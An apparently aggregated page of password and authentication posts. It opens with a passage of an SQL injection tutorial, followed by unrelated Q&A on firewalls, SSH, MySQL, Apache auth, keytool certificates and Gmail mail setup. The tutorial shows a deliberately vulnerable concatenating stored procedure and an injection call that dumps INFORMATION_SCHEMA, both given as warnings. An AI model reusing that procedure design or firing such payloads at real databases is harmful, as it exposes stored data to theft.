passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • LFD always stops working after ~30 days, until I give /etc/csf/csf.pl -r

    - by gus
    When I give /etc/csf/csf.pl -r , I see lots of lines flushing, then I begin to get the notification emails again, (several emails per day), for example: Time: Wed Sep 12 08:39:47 2012 +0800 IP: 221.13.104.162 (CN/China/-) Failures: 5 (sshd) Interval: 300 seconds Blocked: Permanent Block Log entries: Sep 12 08:39:25 MyHost sshd[9677]: Failed password for root from 221.13.104.162 port 51106 ssh2 Sep 12 08:39:28 MyHost sshd[9712]: Failed password for root from 221.13.104.162 port 51690 ssh2 Sep 12 08:39:32 MyHost sshd[9739]: Failed password for root from 221.13.104.162 port 52128 ssh2 Sep 12 08:39:36 MyHost sshd[9778]: Failed password for root from 221.13.104.162 port 52670 ssh2 Sep 12 08:39:40 MyHost sshd[9821]: Failed password for root from 221.13.104.162 port 53155 ssh2 And then after about 30 days, the emails stop coming, it is as if something has filled up, and requires flushing again. I don't know much about CSF/LFD, but I would have imagined that this would work in a FIFO manner, so it should be able to run indefinitely within finite space. My /etc/csf/version.txt says 4.83 My cat /proc/version says Linux version 2.6.18-028stab066.8 (root@rhel5-64-build) (gcc version 4.1.2 20070626 (Red Hat 4.1.2-14)) #1 SMP Fri Nov 27 20:19:25 MSK 2009

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  • Is this a secure solution for RESTful authentication?

    - by Chad Johnson
    I need to quickly implement a RESTful authentication system for my JavaScript application to use. I think I understand how it should work, but I just want to double check. Here's what I'm thinking -- what do you guys think? Database schema users id : integer first_name : varchar(50) last_name : varchar(50) password : varchar(32) (MD5 hashed) etc. user_authentications id : integer user_id : integer auth_token : varchar(32) (AES encrypted, with keys outside database) access_token : varchar(32) (AES encrypted, with keys outside database) active : boolean Steps The following happens over SSL. I'm using Sinatra for the API. JavaScript requests authentication via POST to /users/auth/token. The /users/auth/token API method generates an auth_token hash, creates a record in user_authentications, and returns auth_token. JavaScript hashes the user's password and then salts it with auth_token -- SHA(access_token + MD5(password)) POST the user's username and hashed+salted password to /users/auth/authenticate. The /users/auth/authenticate API method will verify that SHA(AES.decrypt(access_token) + user.password) == what was received via POST. The /users/auth/authenticate will generate, AES encrypt, store, and return an access token if verification is successful; otherwise, it will return 401 Unauthorized. For any future requests against the API, JavaScript will include access_token, and the API will find the user account based on that.

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  • Passwords and Keys in Linux

    - by PeanutsMonkey
    In a fit of desperation when I had my wireless connection die on me, I thought it was a problem with the key I had created at the start when I initially configured the wireless connection and hence deleted it. The option to create the key had presented itself when I created the wireless connection. It no longer asks me to. Now I am back online, do I have re-create the password and key I had before? If so, what do I choose and why? The options I have are as follows; PGP Stored password Password keyring Secure shell key The first and last option seem to be obvious and I have no idea about the differences between the second and third options. Why do I need a stored password or password keyring in all scenarios and not just the wireless issue I ran into? EDIT 0 Further to Belisama's comment, I have amended my question. EDIT 1 As requested, I have attached a screenshot

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  • Can't log to mySQL

    - by Reza
    Even after I reset root password with following command I can not log to mySQL: (other command listed to provide additional info) # sudo dpkg-reconfigure mysql-server-5.1 # mysql -u root -p Enter password: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) # telnet 127.0.0.1 3306 Trying 127.0.0.1... telnet: Unable to connect to remote host: Connection refused # ps -Aw |grep mysql 26522 ? 00:00:00 mysqld # /etc/init.d/mysql start Rather than invoking init scripts through /etc/init.d, use the service(8) utility, e.g. service mysql start Since the script you are attempting to invoke has been converted to an Upstart job, you may also use the start(8) utility, e.g. start mysql update: # sudo mysqladmin -u root password 123 mysqladmin: connect to server at 'localhost' failed it seems mysql is not ruining properly

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  • Apache http.conf allow intranet

    - by Magreet
    what would be the correct config to allow only authenticated users and the intranet (without need for a password) in apache? This does not request a password and without the "satisfy any" intranet users are also required to enter a password... <Directory "/var/www"> # Allow Network Access and/or Basic Auth Satisfy any allow from 192.168 AuthName "Enter passwd!" require valid-user AuthUserFile /var/.passwd AuthType Basic allow from all order deny,allow </Directory>

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  • Create a Self Signed Sertificate on WLS 10.3.5 Supporting SHA 256 Algorthim.

    - by adejuanc
    1) Set domain to call the keytool $. setDomainEnv.sh 2) Generate the key $ keytool -genkey -alias selfsignedcert -keyalg RSA -sigalg SHA256withRSA -keypass privatepassword -keystore identity.jks -storepass password -validity 365 What is your first and last name? [Unknown]: adejuan-desktop.cl.oracle.com What is the name of your organizational unit? [Unknown]: a What is the name of your organization? [Unknown]: e What is the name of your City or Locality? [Unknown]: i What is the name of your State or Province? [Unknown]: o What is the two-letter country code for this unit? [Unknown]: U Is CN=adejuan-desktop.cl.oracle.com, OU=a, O=e, L=i, ST=o, C=U correct? [no]: yes 3) Export the root certificate $ keytool -export -alias selfsignedcert -sigalg SHA256withRSA -file root.cer -keystore identity.jks Enter keystore password: Certificate stored in file <root.cer> 4) Import the root certificate to the trust store $ keytool -import -alias selfsignedcert -sigalg SHA256withRSA -trustcacerts -file root.cer -keystore trust.jks Enter keystore password: Re-enter new password: Owner: CN=adejuan-desktop.cl.oracle.com, OU=a, O=e, L=i, ST=o, C=U Issuer: CN=adejuan-desktop.cl.oracle.com, OU=a, O=e, L=i, ST=o, C=U Serial number: 4f17459a Valid from: Wed Jan 16 15:33:22CLST 2012 until: Thu Jan 15 15:33:22 CLST 2013 Certificate fingerprints: MD5: 7F:08:FA:DE:CD:D5:C3:D3:83:ED:B8:4F:F2:DA:4E:A1 SHA1: 87:E4:7C:B8:D7:1A:90:53:FE:1B:70:B6:32:22:5B:83:29:81:53:4B Signature algorithm name: SHA256withRSA Version: 3 Trust this certificate? [no]: yes Certificate was added to keystore 5) To check the contents of the keystore keytool -v -list -keystore identity.jks Enter keystore password: ***************** WARNING WARNING WARNING ***************** * The integrity of the information stored in your keystore * * has NOT been verified! In order to verify its integrity, * * you must provide your keystore password. * ***************** WARNING WARNING WARNING ***************** Keystore type: JKS Keystore provider: SUN Your keystore contains 1 entry Alias name: selfsignedcert Creation date: Jan 18, 2012 Entry type: PrivateKeyEntry Certificate chain length: 1 Certificate[1]: Owner: CN=adejuan-desktop.cl.oracle.com, OU=a, O=e, L=i, ST=o, C=U Issuer: CN=adejuan-desktop.cl.oracle.com, OU=a, O=e, L=i, ST=o, C=U Serial number: 4f17459a Valid from: Wed Jan 16 15:42:16CLST 2012 until: Thu Jan 15 15:42:16 CLST 2013 Certificate fingerprints: MD5: 7F:08:FA:DE:CD:D5:C3:D3:83:ED:B8:4F:F2:DA:4E:A1 SHA1: 87:E4:7C:B8:D7:1A:90:53:FE:1B:70:B6:32:22:5B:83:29:81:53:4B Signature algorithm name: SHA256withRSA Version: 3 ******************************************* ******************************************* 6) In some cases, this parameter is needed in the server start up parameters. -Dweblogic.ssl.JSSEEnabled=true Otherwise, enable it from the Server configuration -> SSL -> Use JSSE checkbox.

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  • How do I force .htaccess authorization to occur over ssl?

    - by kenja
    I'm trying to force a particular directory to require only allowed IPs and a valid username/password through basic authorization. To ensure that the username/password are sent in encrypted form, I want the directory to also force SSL use. Here is what I have in my .htaccess file: # Force HTTPS-Connection RewriteEngine On RewriteCond %{SERVER_PORT} !^443$ RewriteRule (.*) https://www.mywebsite.com%{REQUEST_URI} [R,L] ## password begin ## AuthName "Restricted Access" AuthUserFile /var/www/admin/.htpasswd AuthType Basic Require valid-user Order deny,allow Deny from all Allow from 79.1.231.151 62.123.134.83 Satisfy All Unfortunately, when I access that directory using http protocol, it is asking for the password before it redirects the page to the secure version. This means the password is sent unencrypted. What am I doing wrong? Is there a way to do this?

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  • Using GMail's SMTP and IMAP servers in Notification Mailer

    - by Saroja Kandepuneni
    Overview GMail offers free, reliable, popular SMTP and IMAP services, because of which many people are interested to use it. GMail can be used when there are no in-house SMTP/IMAP servers for testing or debugging purposes. This blog explains how to install GMail SSL certificate in Concurrent Tier, testing the connection using a standalone program, running Mailer diagnostics and configuring GMail IMAP and SMTP servers for Workflow Notification Mailer Inbound and Outbound connections. GMail servers configuration SMTP server Host Name  smtp.gmail.com SSL Port  465 TLS/SSL required  Yes User Name  Your full email address (including @gmail.com or @your_domain.com) Password  Your gmail passwor  IMAP server  Host Name imap.gmail.com  SSL Port 993 TLS/SSL Required Yes  User Name  Your full email address (including @gmail.com or @your_domain.com)  Password Your gmail password GMail SSL Certificate Installation The following is the procedure to install the GMail SSL certificate Copy the below GMail SSL certificate to a file eg: gmail.cer -----BEGIN CERTIFICATE-----MIIDWzCCAsSgAwIBAgIKaNPuGwADAAAisjANBgkqhkiG9w0BAQUFADBGMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzEiMCAGA1UEAxMZR29vZ2xlIEludGVybmV0IEF1dGhvcml0eTAeFw0xMTAyMTYwNDQzMDRaFw0xMjAyMTYwNDUzMDRaMGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMRcwFQYDVQQDEw5pbWFwLmdtYWlsLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAqfPyPSEHpfzvXx+9zGUxoxcOXFrGKCbZ8bfUd8JonC7rfId32t0gyAoLCgM6eU4lN05VenNZUoChL/nrX+ApdMQv9UFV58aYSBMU/pMmK5GXansbXlpHao09Mc8eur2xV+4cnEtxUvzpco/OaG15HDXcr46c6hN6P4EEFRcb0ccCAwEAAaOCASwwggEoMB0GA1UdDgQWBBQj27IIOfeIMyk1hDRzfALz4WpRtzAfBgNVHSMEGDAWgBS/wDDr9UMRPme6npH7/Gra42sSJDBbBgNVHR8EVDBSMFCgTqBMhkpodHRwOi8vd3d3LmdzdGF0aWMuY29tL0dvb2dsZUludGVybmV0QXV0aG9yaXR5L0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNybDBmBggrBgEFBQcBAQRaMFgwVgYIKwYBBQUHMAKGSmh0dHA6Ly93d3cuZ3N0YXRpYy5jb20vR29vZ2xlSW50ZXJuZXRBdXRob3JpdHkvR29vZ2xlSW50ZXJuZXRBdXRob3JpdHkuY3J0MCEGCSsGAQQBgjcUAgQUHhIAVwBlAGIAUwBlAHIAdgBlAHIwDQYJKoZIhvcNAQEFBQADgYEAxHVhW4aII3BPrKQGUdhOLMmdUyyr3TVmhJM9tPKhcKQ/IcBYUev6gLsB7FH/n2bIJkkIilwZWIsj9jVJaQyJWP84Hjs3kus4fTpAOHKkLqrbIZDYjwVueLmbOqr1U1bNe4E/LTyEf37+Y5hcveWBQduIZnHn1sDE2gA7LnUxvAU=-----END CERTIFICATE----- Install the SSL certificate into the default JRE location or any other location using below command Installing into a dfeault JRE location in EBS instance         # keytool -import -trustcacerts -keystore $AF_JRE_TOP/lib/security/cacerts  -storepass changeit -alias gmail-lnx_chainnedcert -file gmail.cer Install into a custom location         # keytool -import -trustcacerts -keystore <customLocation>  -storepass changeit -alias gmail-lnx_chainnedcert -file gmail.cer       <customLocation> -- directory in instance where the certificate need to be installed After running the above command you can see the following response         Trust this certificate? [no]:  yes        Certificate was added to keystore Running Mailer Command Line Diagnostics Run Mailer command line diagnostics from conccurrent tier where Mailer is running, to check the IMAP connection using the below command $AFJVAPRG -classpath $AF_CLASSPATH -Dprotocol=imap -Ddbcfile=$FND_SECURE/$TWO_TASK.dbc -Dserver=imap.gmail.com -Dport=993 -Dssl=Y -Dtruststore=$AF_JRE_TOP/lib/security/cacerts -Daccount=<gmail username> -Dpassword=<password> -Dconnect_timeout=120 -Ddebug=Y -Dlogfile=GmailImapTest.log -DdebugMailSession=Y oracle.apps.fnd.wf.mailer.Mailer Run Mailer command line diagnostics from concurrent tier where Mailer is running, to check the SMTP connection using the below command   $AFJVAPRG -classpath $AF_CLASSPATH -Dprotocol=smtp -Ddbcfile=$FND_SECURE/$TWO_TASK.dbc -Dserver=smtp.gmail.com -Dport=465 -Dssl=Y -Dtruststore=$AF_JRE_TOP/lib/security/cacerts -Daccount=<gmail username> -Dpassword=<password> -Dconnect_timeout=120 -Ddebug=Y -Dlogfile=GmailSmtpTest.log -DdebugMailSession=Y oracle.apps.fnd.wf.mailer.Mailer Standalone program to verify the IMAP connection Run the below standalone program from the concurrent tier node where Mailer is running to verify the connection with GMail IMAP server. It connects to the Gmail IMAP server with the given GMail user name and password and lists all the folders that exist in that account. If the Gmail IMAP server is not working for the  Mailer check whether the PROCESSED and DISCARD folders exist for the GMail account, if not create manually by logging into GMail account.Sample program to test GMail IMAP connection  The standalone program can be run as below  $java GmailIMAPTest GmailUsername GMailUserPassword            Standalone program to verify the SMTP connection Run the below standalone program from the concurrent tier node where Mailer is running to verify the connection with GMail SMTP server. It connects to the GMail SMTP server by authenticating with the given user name and password  and sends a test email message to the give recipient user email address. Sample program to test GMail SMTP connection The standalone program can be run as below  $java GmailSMTPTest GmailUsername gMailPassword recipientEmailAddress    Warnings As gmail.com is an external domain, the Mailer concurrent tier should allow the connection with GMail server Please keep in mind when using it for corporate facilities, that the e-mail data would be stored outside the corporate network

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  • Trying to login to openssh, permission denied

    - by noah sisk
    I have been trying to login to ssh on a ubuntu 11.04 server as root with the AllowRootLogin thing set to yes but i have been getting a "Permision denied" Heres a copy of my attempt with ssh -v: Last login: Fri Jun 8 21:07:20 on ttys000 noah-sisks-macbook-pro:~ phreshness$ ssh -v [email protected] -p 22 OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011 debug1: Reading configuration data /etc/ssh_config debug1: Applying options for * debug1: Connecting to 192.168.1.133 [192.168.1.133] port 22. debug1: Connection established. debug1: identity file /Users/phreshness/.ssh/id_rsa type -1 debug1: identity file /Users/phreshness/.ssh/id_rsa-cert type -1 debug1: identity file /Users/phreshness/.ssh/id_dsa type -1 debug1: identity file /Users/phreshness/.ssh/id_dsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1 debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.6 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host '192.168.1.133' is known and matches the RSA host key. debug1: Found key in /Users/phreshness/.ssh/known_hosts:6 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Trying private key: /Users/phreshness/.ssh/id_rsa debug1: Trying private key: /Users/phreshness/.ssh/id_dsa debug1: Next authentication method: password [email protected]'s password: debug1: Authentications that can continue: publickey,password Permission denied, please try again. [email protected]'s password:

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  • Problems with subversion (in gnome keyring, maybe), user=null

    - by Tom Brito
    I'm having a problem with my subversion in Ubuntu, and it's happening only on my computer, my colleagues are working fine. It asks for password for user "(null)": Password for '(null)' GNOME keyring: entering the password it shows: svn: OPTIONS of 'http://10.0.203.3/greenfox': authorization failed: Could not authenticate to server: rejected Basic challenge (http://10.0.203.3) What can be causing that (again: it's just on my computer, the svn server is ok).

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  • Weaknesses of 3-Strike Security

    - by prelic
    I've been reading some literature on security, specifically password security/encryption, and there's been one thing that I've been wondering: is the 3-strike rule a perfect solution to password security? That is, if the number of password attempts is limited to some small number, after which all authentication requests will not be honored, will that not protect users from intrusion? I realize gaining access or control over something doesn't always mean going through the authentication system, but doesn't this feature make dictionary/brute-force attacks obsolete? Is there something I'm missing?

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  • Cannot connect to the Internet

    - by Pratap
    My desktop has Broadband wired connection - shows connected, but unable to load any web page in Ubuntu 12.04 but works fine with Windows 7. My laptop - wireless connection shows connected, but again does not load any web page. Please help. On running sudo dhclient eth1 on my laptop there is no result - see the screen output:prajna@LAPTOP:~$ sudo dhclient eth1 [sudo] password for prajna: prajna@LAPTOP:~$ sudo dhclient eth1 [sudo] password for prajna: after giving password - some time later the screen comes back to prajna@LAPTOP:~$

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  • Wireless Network Found, can't connect, repeated requests for authentication

    - by Herm Holland
    After trawling through the internet, on forums, support websites, and through dozens upon dozens of answered questions on this site, I've not found a solution to what seems like a fairly regular problem... I cannot connect to a wireless network, and am continually asked for the network password. I have tried countless suggested solutions on the different locations I've already referred to. None of them have worked. Details of my experience are as follows: I have just recently installed Ubuntu 12.04.1 (32-bit). Ubuntu installed on my system seemingly fine, and I even formatted my hard drive during the process. It's as if it were a new desktop computer. During the installation I was asked to connect to a Wireless Network. I have a USB Wireless Card connected which I have used to connect desktop PC's, laptops, and a Wii to the internet from approximately the same area of the house (thus the same distance from the Wireless Router). I chose my network, entered the correct password for it (I double checked; it's definitely the right password) and proceeded with the installation. Several times before the installation was complete, I was asked to authenticate the connection, and this seemed to do nothing each time. On the repeated screens the password was already entered in the appropriate box. When Ubuntu booted up the first thing I was faced with (other than something about Language settings, or something) was another request for authentication. Again, the password was already there, so I clicked connect. It did not connect. Instead, I was once again faced with repeated requests every few minutes. I went onto my laptop, which is connected to this network, checked the details of the network, and entered them manually into my Ubuntu PC (including the IPv4 and IPv6 information) but this didn't work either, so I set it back to finding the settings automatically. Note, also, that the "Connect automatically" and "Available to all users" boxes are checked, and have been unchecked & rechecked countless times. I have also tried having my User account connect automatically, and to need a password entered at the welcome screen. Whilst I've been writing this, it has gone through a spat of connecting successfully to the network for less than a minute, before coming offline again, only to repeat the process. But it has now returned to prompting me for a password every couple of minutes. This computer has already run on the Fedora OS, and had no trouble connecting to, and maintaining a connection. I also have a laptop running Windows 7 less than a metre away from this desktop PC, which is connected and has no trouble maintaining a connection at 50%-100% strength (fluctuating). Therefore: - I know it's not the wireless card - I know it's not the PC itself - I know it's not the access point - I know it's not the location of my PC or wireless card - It is solely because of Ubuntu Everything else has worked fine, but the moment Ubuntu was introduced into the equation, it has gone completely wrong. Honestly; I prefer Ubuntu as an OS to Fedora, but if I can't solve the problem it'll be straight back to Fedora that I'll have to go. Can anyone help me at all?

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  • How do I force .htaccess authorization to occur over ssl?

    - by kenja
    I'm trying to force a particular directory to require only allowed IPs and a valid username/password through basic authorization. To ensure that the username/password are sent in encrypted form, I want the directory to also force SSL use. Here is what I have in my .htaccess file: # Force HTTPS-Connection RewriteEngine On RewriteCond %{SERVER_PORT} !^443$ RewriteRule (.*) https://www.mywebsite.com%{REQUEST_URI} [R,L] ## password begin ## AuthName "Restricted Access" AuthUserFile /var/www/admin/.htpasswd AuthType Basic Require valid-user Order deny,allow Deny from all Allow from 79.1.231.151 62.123.134.83 Satisfy All Unfortunately, when I access that directory using http protocol, it is asking for the password before it redirects the page to the secure version. This means the password is sent unencrypted. What am I doing wrong? Is there a way to do this?

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  • $RYSNC_PASSWORD not being read/responded-to correctly (Snow Leopard)

    - by warren
    Ignoring the security issues, I have the following script that synchronizes my music library from my MacBook Pro (running Snow Leopard) to the file store (CentOS 4) on my network: rsync -rav --progress --partial -e "ssh" ~/Music/iTunes/* user@scramasax:~/music/iTunes-scissor:~ When I try to use either a password provided on the command-line (), in a password file (--password-file), or in the environment variable RSYNC_PASSWORD, the login still goes interactive, requiring me to type my password again. I will be moving to pre-shared keys on my network, but in situations where that is not possible, such as rsync'ing files to a webserver, being able to successfully embed the password in the script would be very helpful.

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  • How to run a command as administrator on Windows7 from a command line?

    - by Radek
    I need to run tscon.exe 0 /dest:console remotely = not manually on Windows7 as an administrator. More info here How to use tscon on Windows7? I did my research and OPTION 1 - runas for user root (no password) on computer yogurt works C:\>runas /user:yogurt\root cmd Enter the password for yogurt\root: Attempting to start cmd as user "yogurt\root" ... for user administrator (I thought the the password is blank too) on computer yogurt doesn't work. I am asked for password, hit the enter and C:\>runas /user:yogurt\administrator cmd Enter the password for yogurt\administrator: Attempting to start cmd as user "yogurt\administrator" ... RUNAS ERROR: Unable to run - cmd 1327: Logon failure: user account restriction. Possible reasons are blank passwo rds not allowed, logon hour restrictions, or a policy restriction has been enforced. OPTION 2 - setting properties of a batch file so it always runs as administrator. The 'privilege level' section is greyed out for me under Compatibility level. So I am not able to tick the check box Run this program as an administrator

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